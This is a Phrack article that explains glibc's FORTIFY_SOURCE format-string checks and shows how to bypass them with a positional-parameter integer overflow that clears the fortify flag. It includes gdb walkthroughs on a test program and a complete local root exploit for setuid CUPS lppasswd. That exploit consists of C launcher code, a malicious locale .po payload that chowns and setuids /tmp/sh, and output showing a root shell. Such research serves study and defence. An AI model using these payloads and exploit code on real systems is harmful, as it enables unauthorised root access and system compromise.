==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10 |=-----------------------------------------------------------------------=| |=-------------------=[ A Eulogy for Format Strings ]=-------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ by Captain Planet ]=-------------------------=| |=-----------------------------------------------------------------------=| Index ------[ 0. Introduction ------[ 1. Glibc's FORTIFY_SOURCE ------[ 2. Bypassing FORTIFY_SOURCE ------[ 3. Exploitation A. Dummy program B. CUPS lppasswd bug C. TODO- ASLR ------[ 4. Afterword ------[ 0. Introduction Today the Windows CRT disables %n by default [0]. And likewise, glibc's FORTIFY_SOURCE patches provides protection mechanisms which render exploitation impossible. Objective-C isn't being considered, but i'm told you can have plenty of fun there too. Even format strings weren't a critically endangered species, they've been demoted to the class of infoleak. The great thing about format strings of course was that they provided both a read and write primitive. They were the `spork` of exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered. The story goes that around 2000 everybody was hunting down format strings. Just about everything was vulnerable. Check out the TESO article in the links. It was pretty outrageous. CORE exploited pretty much everything with locales too [1]. But today, those days are long one. Unless of course you're hacking edus, in which case you can still use locale bugs to pop root shells on PMOS technology. A few months ago something funny happened. A guy by the name of Ronald Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome! Unfortunately, the aforementioned patch makes fmt str exploitation quite unlikely. In detail, the FORTIFY_SOURCE provides two countermeasures against fmt strings. 1) Format strings containing the %n specifier may not be located at a writeable address in the memory space of the application. 2) When using positional parameters, all arguments within the range must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6. But thats okay since the FORTIFY_SOURCE patch is not really all that complete. (-: Why? Because glibc is really really weird code. It amazes me that someone would travel all around the world and take credit for glibc when they did not even write it. Actually, it makes perfect sense, nobody with any dignity would admit to writing any part of glibc to public audiences. Don't get me wrong, glibc lets pretty good stuff happen to my computer. The code is pretty hard to look at though, you wouldn't introduce her to your parents if you know what I mean... What you're about to read is slightly harder than writing a format string and a little bit easier than building glibc itself. (Glibc binaries are ideal for an ELF VX because of the difficulty of compiling them). Prequisites are understanding format string exploitation. They were last written about in phrack here [3] if you need a refresher. If you have never exploited a format string vuln, seek the article by 'rebel' [6]. It is one of the most skilled and digestible discourses available. So lets dive right in. ------[ 1. Glibc's FORTIFY_SOURCE =========================================================================== WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR. =========================================================================== "%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d" Have you seen a format string like that before? It makes positional parameters look less attractive, doesn't it? So how does this patch supposedly work? To turn it on the binary must be compiled with `-D_FORTIFY_SOURCE=2` enabled with an optimization level of at least -O2. This is likely because of the compiler pass the patch is implemented at. So the following happens. 0x08048509 <+57>: mov %ebx,0x4(%esp) 0x0804850d <+61>: movl $0x1,(%esp) 0x08048514 <+68>: call 0x80483c4 <__printf_chk@plt> First, calls to printf, etc get rerouted to __*_chk in your compiled binary and the first argument of :flag: is passed as 1. A. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/debug/printf_chk.c /* Write formatted output to stdout from the format string FORMAT. */ int ___printf_chk (int flag, const char *format, ...) { va_list ap; int done; _IO_acquire_lock_clear_flags2 (stdout); if (flag > 0) stdout->_flags2 |= _IO_FLAGS2_FORTIFY; va_start (ap, format); done = vfprintf (stdout, format, ap); va_end (ap); if (flag > 0) stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY; _IO_release_lock (stdout); return done; } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure to enable the FORTIFY checks. This is sort of clever, as the bit will always get toggled on when entering dangerous functions. You can not universally disable the mechanism very easily. But this itself does not actually guarantee any kind of security. Under libio/libio.h the following secondary flags are defined: #define _IO_FLAGS2_MMAP 1 //fopen 'm' mmap access mode #define _IO_FLAGS2_NOTCANCEL 2 //open/read/write should not be used as thread cancellization points #ifdef _LIBC # define _IO_FLAGS2_FORTIFY 4 //enable fortify security checks #endif #define _IO_FLAGS2_USER_WBUF 8 //wide buffer (2-byte) support funk #ifdef _LIBC # define _IO_FLAGS2_SCANF_STD 16 // %a support for scanf #endif Disabling the entire flags buffer should not be too much trouble, but may lead to some inconsistencies if the file stream pointer is opened with 'm' in the mode parameter. The astute reader will be wondering about functions such as vsnprintf, which require no file stream pointer. Well, glibc provides an okay solution. A file stream pointer is made on the stack with a callback that writes to a buffer instead of a file descriptor. This file stream pointer is then passed along to vfprintf. Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that are enabled. B. Protection #1 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/stdio-common/vfprintf.c LABEL (form_number): \ if (s->_flags2 & _IO_FLAGS2_FORTIFY) \ { \ if (! readonly_format) \ { \ extern int __readonly_area (const void *, size_t) \ attribute_hidden; \ readonly_format \ = __readonly_area (format, ((STR_LEN (format) + 1) \ * sizeof (CHAR_T))); \ } \ if (readonly_format < 0) \ __libc_fatal ("*** %n in writable segment detected ***\n"); \ } \ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ If the format string payload containing a %n is located in a writeable memory area such as the stack or BSS or DATA or the heap, this patch will detect it and error out. Besides a DoS, this patch renders format strings pretty harmless. C. Protection #2 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: libc/stdio-common/vfprintf.c /* Determine the number of arguments the format string consumes. */ nargs = MAX (nargs, max_ref_arg); /* Allocate memory for the argument descriptions. */ args_type = alloca (nargs * sizeof (int)); memset (args_type, s->_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0', nargs * sizeof (int)); args_value = alloca (nargs * sizeof (union printf_arg)); args_size = alloca (nargs * sizeof (int)); .. for (cnt = 0; cnt < nargs; ++cnt) .. switch (args_type[cnt]) .. case -1: /* Error case. Not all parameters appear in N$ format strings. We have no way to determine their type. */ assert (s->_flags2 & _IO_FLAGS2_FORTIFY); __libc_fatal ("*** invalid %N$ use detected ***\n"); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The effect of this second patch is that all of the arg_types are set to -1 by default. If there are any argument holes in between which do not get processed, they are left as -1. So the effect is that: %4$x would be invalid but %4$x %2$x %1$x %3x would be okay. To be honest, I do not really see this as some huge security improvement but more of a nuisance. It does not really stop infoleaks much. Maybe they wanted to prevent people from exploiting 8 character format strings, because those are really common in the wargaming scene. ------[ 2. Bypassing FORTIFY_SOURCE Now, if you were paying attention, you saw a bunch of allocas in 1-A. That :nargs: variable, that is the calculated maximum number of arguments. If a fmt str has simple arguments, the value is just that number. But, if a fmt str uses width arguments or positional parameters (often called direct parameters in other format string articles), then those also factor into the maximum :nargs: value As an example in this string, %x %x %x %13981938$x, 13981938 is the :nargs: value being passed to the alloca functions in code snippet 1-C. Do not get too excited. This is not enough for generic control. Unfortunately, we can not do the same stack shifting as in [4] since we are in a context past the initial stack frame allocation. At the epilogue of the function, a base register will be used to collapse the stack, making stack shifting less useful without being accompanied by memory clobbering. This is true of many of the architecture's C compilers. They pretty much all implement some sort of easy stack clean-up with a base register, so alloca itself is difficult to attack. Instead, it is the operations that use the allocated memory that must be exploited. The integer overflow can be used to trigger all sorts of memory trespasses. One other thing to do is shift the stack into the heap using the alloca. This also turns out to be difficult because of those memset operations. But we do have a loss of state. And as always, from a loss of state new opportunites arise. We are in the land of undefined. Hi mom and dad! This article will use one such trespass opportunity to bypass FORTIFY_SOURCE. It should be noted that others exist, but may be a bit harder to utilize than this one. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Arbitrary 4-byte NUL overwrite. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: stdio-common/vfprintf.c /* Fill in the types of all the arguments. */ for (cnt = 0; cnt < nspecs; ++cnt) { /* If the width is determined by an argument this is an int. */ if (specs[cnt].width_arg != -1) args_type[specs[cnt].width_arg] = PA_INT; enum { /* C type: */ PA_INT, /* int */ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Quick summary of the code: args_type[ ATTACKER_OFFSET ] = 0x00000000; Explanation: The above code is required to process width arguments that are passed in as parameters. For example: %1$*269096872$x Effectively does: //specs[cnt].width_arg = 269096872 args_type[specs[cnt].width_arg] = 0 ..which, if your stack is set up just right, can toggle off that _IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure. Remember that :args_type: was one of the buffers allocated on the stack in the alloca snippet above in 1-C and is an array of an integer base type. Care must be taken as the alloca becomes a bit of a problem when nargs gets set to a large value. This will likely shift the stack to somewhere unmapped. The next push or call instructions would result in a crash, preventing proper exploitation. So the key constraints around :nargs: are as follows: 1) the stack must be shifted somewhere sane 2) the memset operation must not hit an unmapped page. The easiest way to meet these two contraints is to use an integer overflow. Since no bounds checking occurs on :nargs:, you can artificially keep the stack in-place with this: `%1073741824$`. No specifier is really required and you can end it with just a $ sign. The second contraint is also satisfied because the memset will be called with a length parameter of 0. The details of the allocas are a little bit more complex if you look at the assembly. For our purposes, they roughly end up doing: esp -= nargs * (4) esp -= nargs * (12) esp -= nargs * (4) The 1073471824*4 happens to be 0 when truncated into a 32-bit integer. This and other factors of 1073471824 prove to be sufficient for side-stepping the alloca constraints. This concludes the arbitrary 4-byte NUL overwrite. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> The first patch (1-B) can be disabled by clearing that IO_FLAGS2_FORTIFY bit in the file stream pointer. Typically it will be the only flag enabled on the file stream pointer. In the unlikeley case that one of the other bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when the file stream pointer is closed. This may or may not affect exploitability. We will now revisit the second part of the patch. It makes any format string exploit less flexible. The loop on nargs has to be terminated early to avoid the assert and the libc_fatal when a "hole" in the arguments is discovered. By hole, I am referring to the code in (1-C) which checks the :args_type: value against -1. Remember that the fortify source patch won't let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is what is meant by 'hole' in this context. The termination of that loop can coincidentally happen all by itself if the stack is aligned correctly. The loop will hit out of bounds of the alloca created buffers and self terminate when :nargs: is set to 0, provided that :nargs: is stored by the compiler on the stack. If it fails to do this, an assert() statemet will be triggered, preventing exploitation. Or, we can reuse the 4-byte NUL write can be used to bypass the loop reliably. One instance of a successful bypass can then be performed in two easy steps. 1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address 2. Set nargs=0 to skip the value-filling loop. Note that bypassing the loop via #2 requires us to dig further down the stack to find our user input since the same loop is responsible for filling in the args_value array. If you have ever attempted to exploit a format string by truncating a pointer and reusing it as destination on glibc, you probably failed because of that args_value array. ------[ 3. Exploitation In standard phrack style we will first do this on a test binary and then on a real-world binary to disprove any accusations of academic tendencies, like thought experiments. Feel free to skip to part B. ------------[ A. Dummy Test Program for clarity Note: ASLR is disabled and the program has an executable stack. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //File: test.c //gcc -D_FORTIFY_SOURCE=2 -O2 int main(){ char buf[256]; fgets(buf, sizeof(buf), stdin); printf(buf); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ captain@planet:~/research/fmt/article$ ./a.out %n *** %n in writable segment detected *** Aborted captain@planet:~/research/fmt/article$ ./a.out %4$x *** invalid %N$ use detected *** Aborted Oh nooO! Scary format string protections are making everything hurt. ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER ---- Alright remember the process kids. 1. Disable fortify source 2. Set nargs = 0 3. Enjoy the %n So first, lets figure out where that arbitrary 4-byte NUL write is on our system. We will pick some ridiculous desination, like %1$*269168516$. If it doesn't crash, keep incrementing that by about 20000. So we'll send the following as our investigative payload. The first part should trigger the NUL write. The second part should keep the stack sane. %1$*269168516$x %1073741824$ %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ gdb -q ./a.out Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/captain/research/fmt/article/a.out %1$*269168516$x %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735 1735 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/i $pc => 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% The fortify source bit will be somewhere inside of the file stream pointer over at s=0x29f4e0. stdout->_flags2 |= _IO_FLAGS2_FORTIFY; On this target machine, it happens to be @+60 0x29f51c <_IO_2_1_stdout_+60>: 0x00000004 Since the operations here are relative, ASLR is not too big of an issue and once you find your offset, it's pretty consistent (YMMV). Here is the equation $ecx + $eax*4 should = 0x29f51c (gdb) p/d ((0x10029f51c-$ecx) & 0xffffffff)/4 $11 = 269145003 Counting starts from 0, so add 1 to that for the payload. %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ gdb -q ./a.out Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done. (gdb) break vfprintf Function "vfprintf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (vfprintf) pending. (gdb) r Starting program: /home/captain/research/fmt/article/a.out %1$*269145004$x %1073741824$ Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210 210 vfprintf.c: No such file or directory. in vfprintf.c (gdb) tbreak *(vfprintf+11489) Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735. (gdb) c Continuing. Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735 1735 in vfprintf.c (gdb) x/i $pc => 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb) x/wx $ecx+$eax*4 0x29f51c <_IO_2_1_stdout_+60>: 0x00000004 %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% This operation has to be repeated for :nargs:. The easiest way to locate :nargs: is to pick a value you know (0xdeadbeef), and find it on the stack or just pick it up where it gets loaded before the alloca code. %1$*3735928559$x %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Program received signal SIGSEGV, Segmentation fault. 0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/wx $ebp-0x4bc 0xbffeadcc: 0xdeadbeef %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% p/d (0xbffeadcc-$ecx)/4+1 = 472 for me Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$ %1073741824$] Well, that's not actually true. It depends on what your buffer looks like. For example if you attempt to do: %49150u %4847$hn %*472$ %1$*269145004$ %1073741824$ The first two parameters will cause the stack to shift and the values have to be recalculated based on the size of that $hn offset. This gets a bit hairy, but with some grunt work you'll be done. The next task is finding a good way to hijack flow control. One good vector happens to be a call to free shortly after the %n write. => 0xb7d4f3f8 <_IO_vfprintf_internal+2024>: mov -0x4bc(%ebp),%edi => 0xb7d4f3fe <_IO_vfprintf_internal+2030>: mov %edi,(%esp) => 0xb7d4f401 <_IO_vfprintf_internal+2033>: call 0xb7d28988 => 0xb7d28988 : jmp *0x24(%ebx) (gdb) x/wx $ebx+0x24 0x29f018: 0x001b8e60 We will overwrite the upper 16-bits to point into the stack (0x001b->0xbfff). Write Dest: 0x29f01a One way to smuggle this value is using a command line argument. %49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$ %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Program received signal SIGSEGV, Segmentation fault. 0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/wx $ebp-0x4bc 0xbffeadcc: 0xdeadbeef %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% So after some fenagling you'll reach something like this: A great improvement would be automation via instrumentation or mapping out the stack shifting very tightly. %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% captain@planet:~/research/fmt/article$ export PAY=`python -c 'print "\xcc"*4096*20'` captain@planet:~/research/fmt/article$ (python -c 'print "%49150u %4847$hn %1$*269168516$x %1$*13996$x %1073741824$"') | ./a.out `echo -ne "a ccc ddbbb \x1a\xf0\x29 fffff"` ... Trace/breakpoint trap (core dumped) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% ------------[ B. The real world exploit =========================================================================== =========================================================================== =========================================================================== CUPS locale() vulnerability. Ronald Volgers noticed that lppasswd used user-specified locales. A few distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this awesome? yes ls -al lppasswd -rwsr-xr-x 1 root root 19144 2010-07-07 00:56 lppasswd To exploit it, you just export LOCALEDIR to a place where $LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in lppasswd. This exploit turns out to be hard for a few reasons. The first, it is non interactive. That is, the format string can not be used for an info leak to bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so any weaponized exploit must be highly reliable. Luckily this second one can be bypassed with resource limits. File: sploit_filz.c +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #include #include #include #include #include int main(int argc, char *argv[]) { struct rlimit rara; int keke[4096*4]; char test[0x10000]; char *args[] = { "./lppasswd", 0 }; char *env[] = { "LOCALEDIR=./", &keke, test, 0}; int riri; int jmp = 0xbffdc66c; memset(test, 0x01, sizeof(test)); test[0x10000-1] = 0x00; for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){ keke[riri+0] = jmp+2; keke[riri+1] = jmp+2; keke[riri+2] = jmp; keke[riri+3] = jmp; } rara.rlim_max = rara.rlim_cur = atoi(argv[1]); setrlimit(RLIMIT_NOFILE, &rara); execve("./lppasswd",args,env); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ There is also one important difference between the test program and lppasswd. The vulnerability inside libcups is triggered by vsnprintf. Internally, vsnprintf creates a fake file stream pointer on the stack and then passes it to vfprintf. This is actually pretty good news in terms of bypassing ASLR as the file stream pointer is a fixed offset from the format string structures, which glibc allocates on the stack. The vulnerable function in libcups follows. File: cups/cups/langprintf.c +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ int /* O - Number of bytes written */ _cupsLangPrintf(FILE *fp, /* I - File to write to */ const char *message, /* I - Message string to use */ ...) /* I - Additional arguments as needed */ { ... va_start(ap, message); vsnprintf(buffer, sizeof(buffer), _cupsLangString(cg->lang_default, message), ap); va_end(ap); .. } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ With ASLR disabled, the best option is to go after the return address. In the callstack for vfprintf: %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267-\021\021") at vfprintf.c:210 210 in vfprintf.c (gdb) bt #0 _IO_vfprintf_internal (s=0xbffdc68c, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ... #1 0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1, slen=2048, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; .... #2 0xb7f96544 in vsnprintf (fp=0xb7e68580, message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at /usr/include/bits/stdio2.h:78 #3 _cupsLangPrintf (fp=0xb7e68580, message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at langprintf.c:125 #4 0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316 (gdb) %<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<% The second return address lends itself very well to exploitation. The 2nd parameter points to user input. This is highly useful when overwriting the saved return address. The address can be pointed to &system or __libc_system or do_system, and the old 2nd argument will become the argument to system. Above in the resource limit setting code, the enivornment is filled with pointers to that return address:: int jmp = 0xbffdc66c; keke[riri+0] = jmp+2; keke[riri+1] = jmp+2; keke[riri+2] = jmp; keke[riri+3] = jmp; NX Bypass: C/cups_C.po +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ msgid "lppasswd: Unable to open password file: %s\n" msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u \ %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The first part executes a command. The next 4 arguments were padding but removing them would have required some recalculations. These two writes redirect control flow to system by overwriting the least and most significant half-words of the saved return address. %14263u %7352$hn %27249u %7353$hn And the last part is used to bypass FORTIFY_SOURCE: %1$*14951$x %1$*14620$x %1073741824$. Overall, things are pretty hairy, but they work with some massaging. captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -l lppasswd -rwsr-xr-x 1 root root 18867 2010-06-06 01:26 lppasswd captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh ls: cannot access /tmp/sh: No such file or directory captain@planet:~/research/fmt/cups-1.4.2/systemv$ cp /bin/bash /tmp/sh captain@planet:~/research/fmt/cups-1.4.2/systemv$ gcc -o sf sploit_filz.c sploit_filz.c: In function ?main?: sploit_filz.c:13: warning: initialization from incompatible pointer type sploit_filz.c:20: warning: incompatible implicit declaration of built-in function ?memset? captain@planet:~/research/fmt/cups-1.4.2/systemv$ ./sf 4 Enter old password: Enter password: Enter password again: sh: %49150u: not found Segmentation fault captain@planet:~/research/fmt/cups-1.4.2/systemv$ ls -al /tmp/sh -rwsr-xr-x 1 root root 818232 2010-07-07 01:26 /tmp/sh captain@planet:~/research/fmt/cups-1.4.2/systemv$ /tmp/sh -p sh-4.1# id uid=1337(captain) gid=1337(captain) euid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev) ,104(lpadmin),112(netdev),115(admin),118(pulse-access),120(sambashare), 1000(captain) ------------[ C. TODO- ASLR The author has failed to make an ultra reliable exploit for defeating both ALSR and an NX stack. Part of what makes it difficult is all of the moving parts. In this case ASLR makes things hairy for two reasons. Both the stack and libc (and the text) are shifting. They are randomly offset from each other. In the above exploit, two values need to be known. The first is the location of the saved return address. The second is the address of glibc. By applying the resource limits, it is still possible to brute force this vulnerability, but it requires patience with 24-bits of entropy. Anyway, the following two methods have been attempted. 1) Copy (read+write) primitive using width arguments. The width argument can be used to read a value from memory and write it somewhere. %1$*100$u will read the 100th argument's value, and write that many spaces. This is presumably the reason why %n was introduced in the first place. The copy would look like this: %1$*100$u %2$101$n Author's Verdict: Too hairy The copy write primitive does not seem to work reliably under the fortify source loss of state. Exact reasons have not been yet determined, and a way to stabilize them may exist. In addition, once a copy operation is performed, the internal printf counter must be reset by writing a value numerous times. The easiest way to do this would be to print out the same value '256' times and reduce write width to one-character at a time. Writing the same value '256' times ensures that the lowest byte of the internal counter will be 0. 2) Repurpose double stack pointers For lppasswd, stack double-pointers exist that can be repurposed. For %n to work, a pointer is needed. The idea behind this avenue is to use the first pointer to redirect the second pointer to the return address. Author's verdict: Using the pointers is reliable, but ASLR has enough entropy in the the correct offset to the return address is unreliable. The best acheivement was 24-bits of entropy, 12-bits for the return address and 12-bits for &system. Only one exploit seemed to work, and the author was unable to reproduce even after a night of testing. =========================================================================== ------[ 4. Afterword It is the author's opinion that it is quite amazing vfprintf even compiles in the first place. Briefly, it should be noted that there are more angles of attack in the vfprintf code that are a bit more complicated. Although quite messy. Here is one example, if a target is using the deprecated features of vfprintf to register their own format string specifiers, an attacker can get arbitrary code execution without needing %n. Execution without %n may even be possible with the jump table implementations... This article is dedicated to runixd and beist, the top scoring two of the first three loller skaterz. Mad greetz to the even better lollerskaterz dropping from rofl copters. Surf the chaos dudes! Many thanks to the phrack staff for their help. And also real hackers who make me blush. Thanks for reading. Have phun! [0] http://msdn.microsoft.com/en-us/library/ms175782.aspx [1] http://www.securityfocus.com/bid/1634 [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0393 [3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt [4] http://www.phrack.org/issues.html?issue=63&id=14 [5] http://althing.cs.dartmouth.edu/local/formats-teso.html [6] http://www.loko.nu/formatstring/format_string.htm